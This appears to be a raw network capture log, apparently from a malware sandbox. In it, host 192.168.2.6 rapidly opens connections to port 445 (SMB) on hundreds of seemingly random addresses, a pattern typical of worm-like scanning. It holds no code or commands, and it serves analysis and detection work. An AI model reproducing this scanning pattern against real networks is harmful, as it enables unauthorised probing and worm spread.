Jul 21, 2022 04:36:50.853256941 CEST	56597	445	192.168.2.6	120.235.78.33
Jul 21, 2022 04:36:50.853336096 CEST	56598	445	192.168.2.6	83.117.145.127
Jul 21, 2022 04:36:50.853370905 CEST	56599	445	192.168.2.6	197.164.12.189
Jul 21, 2022 04:36:50.853429079 CEST	56600	445	192.168.2.6	25.104.152.26
Jul 21, 2022 04:36:50.853477955 CEST	56601	445	192.168.2.6	155.196.221.88
Jul 21, 2022 04:36:50.881944895 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.913274050 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.914262056 CEST	56613	445	192.168.2.6	186.168.142.248
Jul 21, 2022 04:36:50.915628910 CEST	56615	445	192.168.2.6	180.85.30.138
Jul 21, 2022 04:36:50.916162968 CEST	56616	445	192.168.2.6	10.191.187.221
Jul 21, 2022 04:36:50.916707993 CEST	56617	445	192.168.2.6	102.201.101.177
Jul 21, 2022 04:36:50.917216063 CEST	56618	445	192.168.2.6	79.56.189.13
Jul 21, 2022 04:36:50.918293953 CEST	56620	445	192.168.2.6	70.34.120.99
Jul 21, 2022 04:36:50.918858051 CEST	56621	445	192.168.2.6	44.16.137.223
Jul 21, 2022 04:36:50.920295954 CEST	56624	445	192.168.2.6	69.145.225.7
Jul 21, 2022 04:36:50.960755110 CEST	56626	445	192.168.2.6	190.98.231.72
Jul 21, 2022 04:36:50.984498978 CEST	445	56496	77.210.162.177	192.168.2.6
Jul 21, 2022 04:36:50.992408037 CEST	56627	445	192.168.2.6	18.85.14.53
Jul 21, 2022 04:36:51.165235996 CEST	56632	445	192.168.2.6	207.180.242.83
Jul 21, 2022 04:36:51.190946102 CEST	445	56632	207.180.242.83	192.168.2.6
Jul 21, 2022 04:36:51.194493055 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:51.522788048 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:51.694569111 CEST	56632	445	192.168.2.6	207.180.242.83
Jul 21, 2022 04:36:51.717861891 CEST	445	56632	207.180.242.83	192.168.2.6
Jul 21, 2022 04:36:51.747208118 CEST	56645	445	192.168.2.6	80.144.128.136
Jul 21, 2022 04:36:51.747426987 CEST	56647	445	192.168.2.6	8.57.21.174
Jul 21, 2022 04:36:51.747427940 CEST	56652	445	192.168.2.6	116.164.87.213
Jul 21, 2022 04:36:51.747539997 CEST	56654	445	192.168.2.6	148.240.7.129
Jul 21, 2022 04:36:51.803961039 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:51.838212967 CEST	56658	445	192.168.2.6	149.66.34.152
Jul 21, 2022 04:36:51.838293076 CEST	56661	445	192.168.2.6	187.94.200.141
Jul 21, 2022 04:36:51.838347912 CEST	56663	445	192.168.2.6	20.219.105.221
Jul 21, 2022 04:36:51.853176117 CEST	56664	445	192.168.2.6	194.150.43.187
Jul 21, 2022 04:36:51.853300095 CEST	56665	445	192.168.2.6	51.91.205.233
Jul 21, 2022 04:36:51.853434086 CEST	56666	445	192.168.2.6	221.244.237.88
Jul 21, 2022 04:36:51.914975882 CEST	56670	445	192.168.2.6	152.235.82.100
Jul 21, 2022 04:36:51.919992924 CEST	56673	445	192.168.2.6	33.15.156.75
Jul 21, 2022 04:36:51.964035034 CEST	56676	445	192.168.2.6	148.138.240.24
Jul 21, 2022 04:36:51.967137098 CEST	56680	445	192.168.2.6	133.90.243.11
Jul 21, 2022 04:36:51.967633009 CEST	56681	445	192.168.2.6	207.43.231.51
Jul 21, 2022 04:36:51.976603031 CEST	56682	445	192.168.2.6	19.130.77.244
Jul 21, 2022 04:36:51.977616072 CEST	56684	445	192.168.2.6	42.13.51.89
Jul 21, 2022 04:36:51.984143019 CEST	56696	445	192.168.2.6	201.194.147.56
Jul 21, 2022 04:36:51.984214067 CEST	56697	445	192.168.2.6	14.39.68.41
Jul 21, 2022 04:36:51.984220982 CEST	56698	445	192.168.2.6	108.64.99.141
Jul 21, 2022 04:36:52.039047956 CEST	56699	445	192.168.2.6	190.98.231.73
Jul 21, 2022 04:36:52.058284998 CEST	56700	445	192.168.2.6	186.120.193.153
Jul 21, 2022 04:36:52.058320045 CEST	56702	445	192.168.2.6	202.54.143.164
Jul 21, 2022 04:36:52.058341026 CEST	56703	445	192.168.2.6	154.230.46.24
Jul 21, 2022 04:36:52.058455944 CEST	56704	445	192.168.2.6	206.195.131.20
Jul 21, 2022 04:36:52.058487892 CEST	56705	445	192.168.2.6	135.42.96.74
Jul 21, 2022 04:36:52.058588982 CEST	56708	445	192.168.2.6	94.114.134.121
Jul 21, 2022 04:36:52.058770895 CEST	56711	445	192.168.2.6	183.22.209.184
Jul 21, 2022 04:36:52.058800936 CEST	56707	445	192.168.2.6	196.217.17.65
Jul 21, 2022 04:36:52.117279053 CEST	56713	445	192.168.2.6	50.31.30.119
Jul 21, 2022 04:36:52.242494106 CEST	56717	445	192.168.2.6	207.180.242.84
Jul 21, 2022 04:36:52.725920916 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:52.876931906 CEST	56730	445	192.168.2.6	120.249.245.160
Jul 21, 2022 04:36:52.877027035 CEST	56733	445	192.168.2.6	107.110.204.187
Jul 21, 2022 04:36:52.877155066 CEST	56739	445	192.168.2.6	156.172.114.79
Jul 21, 2022 04:36:52.877197981 CEST	56740	445	192.168.2.6	43.126.184.11
Jul 21, 2022 04:36:52.966497898 CEST	56744	445	192.168.2.6	91.94.133.225
Jul 21, 2022 04:36:52.966876030 CEST	56747	445	192.168.2.6	35.224.10.102
Jul 21, 2022 04:36:52.966929913 CEST	56748	445	192.168.2.6	61.164.82.31
Jul 21, 2022 04:36:52.978545904 CEST	56752	445	192.168.2.6	118.72.240.154
Jul 21, 2022 04:36:52.978634119 CEST	56754	445	192.168.2.6	39.101.108.3
Jul 21, 2022 04:36:53.007322073 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:53.040401936 CEST	56756	445	192.168.2.6	119.30.200.17
Jul 21, 2022 04:36:53.040580034 CEST	56759	445	192.168.2.6	156.109.98.170
Jul 21, 2022 04:36:53.087248087 CEST	56762	445	192.168.2.6	208.72.225.18
Jul 21, 2022 04:36:53.089045048 CEST	56765	445	192.168.2.6	212.9.157.84
Jul 21, 2022 04:36:53.089078903 CEST	56767	445	192.168.2.6	141.33.180.107
Jul 21, 2022 04:36:53.106061935 CEST	56768	445	192.168.2.6	152.84.105.191
Jul 21, 2022 04:36:53.106121063 CEST	56769	445	192.168.2.6	223.230.247.58
Jul 21, 2022 04:36:53.106473923 CEST	56770	445	192.168.2.6	131.105.181.31
Jul 21, 2022 04:36:53.106899023 CEST	56781	445	192.168.2.6	25.168.126.246
Jul 21, 2022 04:36:53.106942892 CEST	56783	445	192.168.2.6	43.246.84.122
Jul 21, 2022 04:36:53.117487907 CEST	56785	445	192.168.2.6	190.98.231.74
Jul 21, 2022 04:36:53.168010950 CEST	56786	445	192.168.2.6	117.1.234.54
Jul 21, 2022 04:36:53.168452978 CEST	56788	445	192.168.2.6	11.162.107.130
Jul 21, 2022 04:36:53.168723106 CEST	56791	445	192.168.2.6	116.58.6.105
Jul 21, 2022 04:36:53.168798923 CEST	56792	445	192.168.2.6	97.12.207.144
Jul 21, 2022 04:36:53.168936968 CEST	56794	445	192.168.2.6	114.183.182.45
Jul 21, 2022 04:36:53.168981075 CEST	56795	445	192.168.2.6	214.171.113.130
Jul 21, 2022 04:36:53.169039965 CEST	56796	445	192.168.2.6	163.113.38.122
Jul 21, 2022 04:36:53.169080973 CEST	56797	445	192.168.2.6	176.139.57.16
Jul 21, 2022 04:36:53.242260933 CEST	56799	445	192.168.2.6	192.22.243.38
Jul 21, 2022 04:36:53.320271969 CEST	56801	445	192.168.2.6	207.180.242.85
Jul 21, 2022 04:36:53.343589067 CEST	445	56801	207.180.242.85	192.168.2.6
Jul 21, 2022 04:36:53.851025105 CEST	56801	445	192.168.2.6	207.180.242.85
Jul 21, 2022 04:36:53.871860027 CEST	445	56801	207.180.242.85	192.168.2.6
Jul 21, 2022 04:36:53.977766037 CEST	56816	445	192.168.2.6	203.163.12.38
Jul 21, 2022 04:36:53.979334116 CEST	56819	445	192.168.2.6	207.106.166.219
Jul 21, 2022 04:36:53.979950905 CEST	56820	445	192.168.2.6	156.145.176.211
Jul 21, 2022 04:36:53.995803118 CEST	56827	445	192.168.2.6	110.250.163.149
Jul 21, 2022 04:36:54.086987019 CEST	56829	445	192.168.2.6	208.40.14.129
Jul 21, 2022 04:36:54.087515116 CEST	56830	445	192.168.2.6	31.253.157.138
Jul 21, 2022 04:36:54.088444948 CEST	56831	445	192.168.2.6	159.165.102.167
Jul 21, 2022 04:36:54.095371008 CEST	56836	445	192.168.2.6	49.230.212.241
Jul 21, 2022 04:36:54.105535984 CEST	56839	445	192.168.2.6	174.33.137.9
Jul 21, 2022 04:36:54.105662107 CEST	56840	445	192.168.2.6	76.35.176.228
Jul 21, 2022 04:36:54.152517080 CEST	56843	445	192.168.2.6	146.218.32.224
Jul 21, 2022 04:36:54.152797937 CEST	56845	445	192.168.2.6	104.214.204.44
Jul 21, 2022 04:36:54.180063963 CEST	56847	445	192.168.2.6	190.98.231.75
Jul 21, 2022 04:36:54.195944071 CEST	56848	445	192.168.2.6	57.152.211.22
Jul 21, 2022 04:36:54.196933031 CEST	56849	445	192.168.2.6	217.127.165.234
Jul 21, 2022 04:36:54.201528072 CEST	56853	445	192.168.2.6	31.0.37.29
Jul 21, 2022 04:36:54.210483074 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:54.211512089 CEST	56856	445	192.168.2.6	27.168.93.95
Jul 21, 2022 04:36:54.212012053 CEST	56857	445	192.168.2.6	94.42.71.171
Jul 21, 2022 04:36:54.212527037 CEST	56858	445	192.168.2.6	143.187.81.250
Jul 21, 2022 04:36:54.218287945 CEST	56870	445	192.168.2.6	190.157.81.24
Jul 21, 2022 04:36:54.219481945 CEST	56872	445	192.168.2.6	222.235.210.26
Jul 21, 2022 04:36:54.274673939 CEST	56873	445	192.168.2.6	43.233.33.3
Jul 21, 2022 04:36:54.276230097 CEST	56875	445	192.168.2.6	55.170.127.212
Jul 21, 2022 04:36:54.280405045 CEST	56878	445	192.168.2.6	27.9.174.107
Jul 21, 2022 04:36:54.280441046 CEST	56877	445	192.168.2.6	142.176.238.30
Jul 21, 2022 04:36:54.280711889 CEST	56880	445	192.168.2.6	106.135.254.100
Jul 21, 2022 04:36:54.280874014 CEST	56882	445	192.168.2.6	158.66.49.225
Jul 21, 2022 04:36:54.280962944 CEST	56883	445	192.168.2.6	178.229.184.252
Jul 21, 2022 04:36:54.281044960 CEST	56885	445	192.168.2.6	85.146.121.73
Jul 21, 2022 04:36:54.351922989 CEST	56886	445	192.168.2.6	99.94.244.13
Jul 21, 2022 04:36:54.383279085 CEST	56887	445	192.168.2.6	207.180.242.86
Jul 21, 2022 04:36:55.105133057 CEST	56908	445	192.168.2.6	123.68.233.242
Jul 21, 2022 04:36:55.106920004 CEST	56909	445	192.168.2.6	61.19.153.123
Jul 21, 2022 04:36:55.115839005 CEST	56912	445	192.168.2.6	87.83.125.14
Jul 21, 2022 04:36:55.118051052 CEST	56914	445	192.168.2.6	110.206.241.9
Jul 21, 2022 04:36:55.132493973 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:55.237930059 CEST	56916	445	192.168.2.6	216.233.136.135
Jul 21, 2022 04:36:55.238032103 CEST	56918	445	192.168.2.6	15.119.8.206
Jul 21, 2022 04:36:55.238132954 CEST	56920	445	192.168.2.6	28.133.63.19
Jul 21, 2022 04:36:55.238187075 CEST	56921	445	192.168.2.6	64.51.135.99
Jul 21, 2022 04:36:55.238342047 CEST	56922	445	192.168.2.6	182.37.186.1
Jul 21, 2022 04:36:55.238593102 CEST	56926	445	192.168.2.6	180.173.56.217
Jul 21, 2022 04:36:55.258239031 CEST	56929	445	192.168.2.6	190.98.231.76
Jul 21, 2022 04:36:55.275636911 CEST	56932	445	192.168.2.6	36.164.40.95
Jul 21, 2022 04:36:55.276458025 CEST	56933	445	192.168.2.6	78.71.200.149
Jul 21, 2022 04:36:55.305835962 CEST	56935	445	192.168.2.6	40.241.138.16
Jul 21, 2022 04:36:55.306570053 CEST	56936	445	192.168.2.6	144.100.57.146
Jul 21, 2022 04:36:55.309708118 CEST	56940	445	192.168.2.6	179.136.149.210
Jul 21, 2022 04:36:55.357738018 CEST	56943	445	192.168.2.6	45.239.191.225
Jul 21, 2022 04:36:55.358375072 CEST	56948	445	192.168.2.6	103.178.241.207
Jul 21, 2022 04:36:55.358396053 CEST	56947	445	192.168.2.6	79.92.63.159
Jul 21, 2022 04:36:55.358444929 CEST	56949	445	192.168.2.6	135.171.164.26
Jul 21, 2022 04:36:55.358652115 CEST	56951	445	192.168.2.6	34.106.207.97
Jul 21, 2022 04:36:55.398870945 CEST	56960	445	192.168.2.6	18.146.189.98
Jul 21, 2022 04:36:55.400243044 CEST	56962	445	192.168.2.6	66.1.73.155
Jul 21, 2022 04:36:55.401835918 CEST	56964	445	192.168.2.6	79.175.29.143
Jul 21, 2022 04:36:55.402503014 CEST	56965	445	192.168.2.6	6.151.58.147
Jul 21, 2022 04:36:55.404505014 CEST	56968	445	192.168.2.6	178.157.61.101
Jul 21, 2022 04:36:55.405210972 CEST	56969	445	192.168.2.6	13.224.136.183
Jul 21, 2022 04:36:55.406541109 CEST	56971	445	192.168.2.6	112.251.44.111
Jul 21, 2022 04:36:55.407274961 CEST	56972	445	192.168.2.6	215.217.158.68
Jul 21, 2022 04:36:55.418360949 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:55.445511103 CEST	56973	445	192.168.2.6	207.180.242.87
Jul 21, 2022 04:36:55.461875916 CEST	56974	445	192.168.2.6	149.99.216.123
Jul 21, 2022 04:36:55.468636036 CEST	445	56973	207.180.242.87	192.168.2.6
Jul 21, 2022 04:36:55.976175070 CEST	56973	445	192.168.2.6	207.180.242.87
Jul 21, 2022 04:36:55.996947050 CEST	445	56973	207.180.242.87	192.168.2.6
Jul 21, 2022 04:36:56.229984045 CEST	56991	445	192.168.2.6	114.215.169.228
Jul 21, 2022 04:36:56.230278969 CEST	56992	445	192.168.2.6	20.138.89.205
Jul 21, 2022 04:36:56.230298996 CEST	56995	445	192.168.2.6	64.99.120.91
Jul 21, 2022 04:36:56.244282961 CEST	57002	445	192.168.2.6	128.138.215.238
Jul 21, 2022 04:36:56.336369038 CEST	57004	445	192.168.2.6	190.98.231.77
Jul 21, 2022 04:36:56.352391005 CEST	57005	445	192.168.2.6	109.87.30.71
Jul 21, 2022 04:36:56.353564978 CEST	57007	445	192.168.2.6	118.226.110.129
Jul 21, 2022 04:36:56.354109049 CEST	57008	445	192.168.2.6	204.171.34.172
Jul 21, 2022 04:36:56.355218887 CEST	57010	445	192.168.2.6	169.94.118.11
Jul 21, 2022 04:36:56.355822086 CEST	57011	445	192.168.2.6	151.146.99.58
Jul 21, 2022 04:36:56.359467030 CEST	57016	445	192.168.2.6	82.169.166.218
Jul 21, 2022 04:36:56.400336027 CEST	57020	445	192.168.2.6	143.144.87.182
Jul 21, 2022 04:36:56.401065111 CEST	57021	445	192.168.2.6	66.124.219.150
Jul 21, 2022 04:36:56.432465076 CEST	57023	445	192.168.2.6	83.46.104.77
Jul 21, 2022 04:36:56.447956085 CEST	57024	445	192.168.2.6	92.54.68.22
Jul 21, 2022 04:36:56.448626995 CEST	57028	445	192.168.2.6	179.125.99.82
Jul 21, 2022 04:36:56.485099077 CEST	57035	445	192.168.2.6	151.185.72.174
Jul 21, 2022 04:36:56.485210896 CEST	57038	445	192.168.2.6	87.173.66.147
Jul 21, 2022 04:36:56.485457897 CEST	57044	445	192.168.2.6	45.94.221.183
Jul 21, 2022 04:36:56.485517025 CEST	57045	445	192.168.2.6	167.141.142.205
Jul 21, 2022 04:36:56.485637903 CEST	57047	445	192.168.2.6	36.216.96.201
Jul 21, 2022 04:36:56.524851084 CEST	57048	445	192.168.2.6	190.47.227.207
Jul 21, 2022 04:36:56.529823065 CEST	57050	445	192.168.2.6	115.249.184.253
Jul 21, 2022 04:36:56.529942989 CEST	57052	445	192.168.2.6	211.222.23.202
Jul 21, 2022 04:36:56.530095100 CEST	57053	445	192.168.2.6	152.48.35.72
Jul 21, 2022 04:36:56.530150890 CEST	57056	445	192.168.2.6	142.64.43.34
Jul 21, 2022 04:36:56.530241966 CEST	57057	445	192.168.2.6	80.10.124.7
Jul 21, 2022 04:36:56.530335903 CEST	57059	445	192.168.2.6	130.144.242.128
Jul 21, 2022 04:36:56.530411959 CEST	57060	445	192.168.2.6	125.195.5.118
Jul 21, 2022 04:36:56.530493975 CEST	57061	445	192.168.2.6	207.180.242.88
Jul 21, 2022 04:36:56.587058067 CEST	57062	445	192.168.2.6	194.81.53.72
Jul 21, 2022 04:36:56.590117931 CEST	445	57044	45.94.221.183	192.168.2.6
Jul 21, 2022 04:36:57.101272106 CEST	57044	445	192.168.2.6	45.94.221.183
Jul 21, 2022 04:36:57.205939054 CEST	445	57044	45.94.221.183	192.168.2.6
Jul 21, 2022 04:36:57.354322910 CEST	57079	445	192.168.2.6	32.68.122.142
Jul 21, 2022 04:36:57.354330063 CEST	57080	445	192.168.2.6	4.225.174.121
Jul 21, 2022 04:36:57.354609013 CEST	57084	445	192.168.2.6	16.234.197.244
Jul 21, 2022 04:36:57.368869066 CEST	57090	445	192.168.2.6	205.73.109.161
Jul 21, 2022 04:36:57.399224043 CEST	57092	445	192.168.2.6	190.98.231.78
Jul 21, 2022 04:36:57.478801966 CEST	57097	445	192.168.2.6	65.171.120.82
Jul 21, 2022 04:36:57.479974031 CEST	57099	445	192.168.2.6	31.251.133.213
Jul 21, 2022 04:36:57.480957985 CEST	57101	445	192.168.2.6	70.165.82.187
Jul 21, 2022 04:36:57.481472969 CEST	57102	445	192.168.2.6	21.180.141.114
Jul 21, 2022 04:36:57.482431889 CEST	57104	445	192.168.2.6	223.247.248.211
Jul 21, 2022 04:36:57.482984066 CEST	57105	445	192.168.2.6	39.58.180.106
Jul 21, 2022 04:36:57.525180101 CEST	57108	445	192.168.2.6	173.56.182.226
Jul 21, 2022 04:36:57.525722980 CEST	57109	445	192.168.2.6	27.106.206.208
Jul 21, 2022 04:36:57.555316925 CEST	57111	445	192.168.2.6	220.92.85.7
Jul 21, 2022 04:36:57.570991039 CEST	57112	445	192.168.2.6	123.129.238.95
Jul 21, 2022 04:36:57.575159073 CEST	57118	445	192.168.2.6	136.22.197.210
Jul 21, 2022 04:36:57.641113043 CEST	57125	445	192.168.2.6	210.33.60.31
Jul 21, 2022 04:36:57.641149044 CEST	57127	445	192.168.2.6	125.198.224.240
Jul 21, 2022 04:36:57.641376019 CEST	57132	445	192.168.2.6	65.124.79.162
Jul 21, 2022 04:36:57.641406059 CEST	57133	445	192.168.2.6	54.74.80.14
Jul 21, 2022 04:36:57.641525030 CEST	57135	445	192.168.2.6	150.207.10.218
Jul 21, 2022 04:36:57.641562939 CEST	57136	445	192.168.2.6	207.180.242.89
Jul 21, 2022 04:36:57.653094053 CEST	57137	445	192.168.2.6	130.221.101.17
Jul 21, 2022 04:36:57.653167963 CEST	57140	445	192.168.2.6	161.251.139.150
Jul 21, 2022 04:36:57.653218031 CEST	57139	445	192.168.2.6	5.182.70.194
Jul 21, 2022 04:36:57.653270006 CEST	57141	445	192.168.2.6	165.52.42.69
Jul 21, 2022 04:36:57.653362989 CEST	57144	445	192.168.2.6	170.144.87.37
Jul 21, 2022 04:36:57.653467894 CEST	57145	445	192.168.2.6	198.248.141.66
Jul 21, 2022 04:36:57.653567076 CEST	57147	445	192.168.2.6	38.200.107.6
Jul 21, 2022 04:36:57.653574944 CEST	57148	445	192.168.2.6	15.90.99.99
Jul 21, 2022 04:36:57.664989948 CEST	445	57136	207.180.242.89	192.168.2.6
Jul 21, 2022 04:36:57.711738110 CEST	57150	445	192.168.2.6	132.48.76.12
Jul 21, 2022 04:36:57.795485020 CEST	445	57132	65.124.79.162	192.168.2.6
Jul 21, 2022 04:36:57.820107937 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:58.180337906 CEST	57136	445	192.168.2.6	207.180.242.89
Jul 21, 2022 04:36:58.206135988 CEST	445	57136	207.180.242.89	192.168.2.6
Jul 21, 2022 04:36:58.304491043 CEST	57132	445	192.168.2.6	65.124.79.162
Jul 21, 2022 04:36:58.459218025 CEST	445	57132	65.124.79.162	192.168.2.6
Jul 21, 2022 04:36:58.461424112 CEST	57168	445	192.168.2.6	122.73.16.240
Jul 21, 2022 04:36:58.461930037 CEST	57169	445	192.168.2.6	74.174.112.18
Jul 21, 2022 04:36:58.463785887 CEST	57173	445	192.168.2.6	220.173.131.144
Jul 21, 2022 04:36:58.466028929 CEST	57178	445	192.168.2.6	190.98.231.79
Jul 21, 2022 04:36:58.493395090 CEST	57180	445	192.168.2.6	223.41.0.249
Jul 21, 2022 04:36:58.606662989 CEST	57186	445	192.168.2.6	116.218.206.30
Jul 21, 2022 04:36:58.606722116 CEST	57188	445	192.168.2.6	30.170.81.234
Jul 21, 2022 04:36:58.606821060 CEST	57190	445	192.168.2.6	101.213.2.213
Jul 21, 2022 04:36:58.606890917 CEST	57192	445	192.168.2.6	46.215.243.213
Jul 21, 2022 04:36:58.606900930 CEST	57191	445	192.168.2.6	36.158.77.29
Jul 21, 2022 04:36:58.607412100 CEST	57194	445	192.168.2.6	50.92.8.2
Jul 21, 2022 04:36:58.635056973 CEST	57196	445	192.168.2.6	136.164.5.97
Jul 21, 2022 04:36:58.635145903 CEST	57198	445	192.168.2.6	12.207.122.144
Jul 21, 2022 04:36:58.665065050 CEST	57200	445	192.168.2.6	158.161.187.193
Jul 21, 2022 04:36:58.696192980 CEST	57201	445	192.168.2.6	96.249.153.41
Jul 21, 2022 04:36:58.698862076 CEST	57207	445	192.168.2.6	89.167.91.158
Jul 21, 2022 04:36:58.712495089 CEST	57208	445	192.168.2.6	207.180.242.90
Jul 21, 2022 04:36:58.734617949 CEST	445	57208	207.180.242.90	192.168.2.6
Jul 21, 2022 04:36:58.759288073 CEST	57213	445	192.168.2.6	35.230.195.5
Jul 21, 2022 04:36:58.761053085 CEST	57215	445	192.168.2.6	51.19.75.128
Jul 21, 2022 04:36:58.772423983 CEST	57216	445	192.168.2.6	107.167.0.174
Jul 21, 2022 04:36:58.772507906 CEST	57218	445	192.168.2.6	59.112.170.52
Jul 21, 2022 04:36:58.772599936 CEST	57219	445	192.168.2.6	78.95.113.1
Jul 21, 2022 04:36:58.772664070 CEST	57223	445	192.168.2.6	44.242.107.173
Jul 21, 2022 04:36:58.772706985 CEST	57222	445	192.168.2.6	218.140.73.109
Jul 21, 2022 04:36:58.772758007 CEST	57225	445	192.168.2.6	37.79.111.200
Jul 21, 2022 04:36:58.772865057 CEST	57227	445	192.168.2.6	66.131.64.8
Jul 21, 2022 04:36:58.772910118 CEST	57228	445	192.168.2.6	19.156.72.140
Jul 21, 2022 04:36:58.772989988 CEST	57230	445	192.168.2.6	22.175.41.93
Jul 21, 2022 04:36:58.773063898 CEST	57232	445	192.168.2.6	218.94.237.23
Jul 21, 2022 04:36:58.773180008 CEST	57234	445	192.168.2.6	52.52.158.85
Jul 21, 2022 04:36:58.821187019 CEST	57239	445	192.168.2.6	213.82.118.31
Jul 21, 2022 04:36:59.242106915 CEST	57208	445	192.168.2.6	207.180.242.90
Jul 21, 2022 04:36:59.267458916 CEST	445	57208	207.180.242.90	192.168.2.6
Jul 21, 2022 04:36:59.526675940 CEST	57257	445	192.168.2.6	190.98.231.80
Jul 21, 2022 04:36:59.570945024 CEST	57258	445	192.168.2.6	54.98.53.29
Jul 21, 2022 04:36:59.571471930 CEST	57259	445	192.168.2.6	87.253.152.248
Jul 21, 2022 04:36:59.573359966 CEST	57263	445	192.168.2.6	139.94.126.167
Jul 21, 2022 04:36:59.619086027 CEST	57270	445	192.168.2.6	47.238.229.70
Jul 21, 2022 04:36:59.718178034 CEST	57276	445	192.168.2.6	1.104.97.137
Jul 21, 2022 04:36:59.718364954 CEST	57279	445	192.168.2.6	182.254.151.137
Jul 21, 2022 04:36:59.718364954 CEST	57277	445	192.168.2.6	201.11.53.12
Jul 21, 2022 04:36:59.718367100 CEST	57280	445	192.168.2.6	211.207.214.237
Jul 21, 2022 04:36:59.718485117 CEST	57282	445	192.168.2.6	184.89.182.206
Jul 21, 2022 04:36:59.718496084 CEST	57281	445	192.168.2.6	141.201.49.113
Jul 21, 2022 04:36:59.743877888 CEST	57285	445	192.168.2.6	32.25.5.220
Jul 21, 2022 04:36:59.744875908 CEST	57287	445	192.168.2.6	197.72.70.45
Jul 21, 2022 04:36:59.789974928 CEST	57289	445	192.168.2.6	199.37.196.24
Jul 21, 2022 04:36:59.790517092 CEST	57290	445	192.168.2.6	207.180.242.91
Jul 21, 2022 04:36:59.807976007 CEST	57291	445	192.168.2.6	142.245.42.92
Jul 21, 2022 04:36:59.808015108 CEST	57297	445	192.168.2.6	29.221.96.173
Jul 21, 2022 04:36:59.814173937 CEST	445	57290	207.180.242.91	192.168.2.6
Jul 21, 2022 04:36:59.869682074 CEST	57303	445	192.168.2.6	166.65.13.88
Jul 21, 2022 04:36:59.869780064 CEST	57305	445	192.168.2.6	159.241.153.46
Jul 21, 2022 04:36:59.884464025 CEST	57306	445	192.168.2.6	67.198.109.130
Jul 21, 2022 04:36:59.888848066 CEST	57309	445	192.168.2.6	16.104.234.229
Jul 21, 2022 04:36:59.890131950 CEST	57310	445	192.168.2.6	182.153.105.126
Jul 21, 2022 04:36:59.891443968 CEST	57311	445	192.168.2.6	211.251.232.47
Jul 21, 2022 04:36:59.896903038 CEST	57316	445	192.168.2.6	65.70.143.88
Jul 21, 2022 04:36:59.897892952 CEST	57318	445	192.168.2.6	169.141.205.44
Jul 21, 2022 04:36:59.899144888 CEST	57320	445	192.168.2.6	85.204.117.45
Jul 21, 2022 04:36:59.900190115 CEST	57322	445	192.168.2.6	126.145.88.156
Jul 21, 2022 04:36:59.902098894 CEST	57325	445	192.168.2.6	75.26.51.254
Jul 21, 2022 04:36:59.930072069 CEST	57326	445	192.168.2.6	136.72.106.173
Jul 21, 2022 04:36:59.930685043 CEST	57328	445	192.168.2.6	93.227.1.70
Jul 21, 2022 04:36:59.931215048 CEST	57329	445	192.168.2.6	10.238.162.2
Jul 21, 2022 04:36:59.945314884 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:00.051361084 CEST	445	57316	65.70.143.88	192.168.2.6
Jul 21, 2022 04:37:00.320265055 CEST	57290	445	192.168.2.6	207.180.242.91
Jul 21, 2022 04:37:00.340595007 CEST	445	57290	207.180.242.91	192.168.2.6
Jul 21, 2022 04:37:00.554696083 CEST	57316	445	192.168.2.6	65.70.143.88
Jul 21, 2022 04:37:00.603189945 CEST	57346	445	192.168.2.6	190.98.231.81
Jul 21, 2022 04:37:00.683163881 CEST	57348	445	192.168.2.6	182.109.224.63
Jul 21, 2022 04:37:00.683218002 CEST	57349	445	192.168.2.6	187.145.44.54
Jul 21, 2022 04:37:00.683554888 CEST	57353	445	192.168.2.6	223.227.185.71
Jul 21, 2022 04:37:00.703387022 CEST	445	57316	65.70.143.88	192.168.2.6
Jul 21, 2022 04:37:00.744740009 CEST	57360	445	192.168.2.6	60.159.1.42
Jul 21, 2022 04:37:00.825905085 CEST	57366	445	192.168.2.6	63.196.151.103
Jul 21, 2022 04:37:00.825952053 CEST	57367	445	192.168.2.6	81.29.86.147
Jul 21, 2022 04:37:00.826052904 CEST	57369	445	192.168.2.6	2.55.87.193
Jul 21, 2022 04:37:00.826172113 CEST	57370	445	192.168.2.6	107.5.122.171
Jul 21, 2022 04:37:00.826256990 CEST	57371	445	192.168.2.6	211.155.73.17
Jul 21, 2022 04:37:00.826349974 CEST	57372	445	192.168.2.6	109.64.146.138
Jul 21, 2022 04:37:00.858038902 CEST	445	57346	190.98.231.81	192.168.2.6
Jul 21, 2022 04:37:00.870671034 CEST	57375	445	192.168.2.6	201.198.162.89
Jul 21, 2022 04:37:00.870717049 CEST	57376	445	192.168.2.6	92.122.109.167
Jul 21, 2022 04:37:00.870858908 CEST	57379	445	192.168.2.6	207.180.242.92
Jul 21, 2022 04:37:00.915566921 CEST	57380	445	192.168.2.6	207.208.229.169
Jul 21, 2022 04:37:00.932497025 CEST	57381	445	192.168.2.6	26.70.216.222
Jul 21, 2022 04:37:00.932627916 CEST	57385	445	192.168.2.6	46.18.230.241
Jul 21, 2022 04:37:00.969831944 CEST	445	57385	46.18.230.241	192.168.2.6
Jul 21, 2022 04:37:00.992928028 CEST	57393	445	192.168.2.6	119.175.248.87
Jul 21, 2022 04:37:00.993458986 CEST	57394	445	192.168.2.6	221.99.131.9
Jul 21, 2022 04:37:01.012001991 CEST	57396	445	192.168.2.6	50.167.109.145
Jul 21, 2022 04:37:01.012157917 CEST	57400	445	192.168.2.6	140.59.82.12
Jul 21, 2022 04:37:01.012239933 CEST	57401	445	192.168.2.6	101.69.68.69
Jul 21, 2022 04:37:01.012269974 CEST	57399	445	192.168.2.6	27.82.50.85
Jul 21, 2022 04:37:01.012356043 CEST	57406	445	192.168.2.6	134.12.191.62
Jul 21, 2022 04:37:01.012440920 CEST	57408	445	192.168.2.6	14.217.97.97
Jul 21, 2022 04:37:01.026508093 CEST	57409	445	192.168.2.6	211.151.14.117
Jul 21, 2022 04:37:01.026912928 CEST	57412	445	192.168.2.6	107.98.24.34
Jul 21, 2022 04:37:01.026967049 CEST	57414	445	192.168.2.6	159.46.38.137
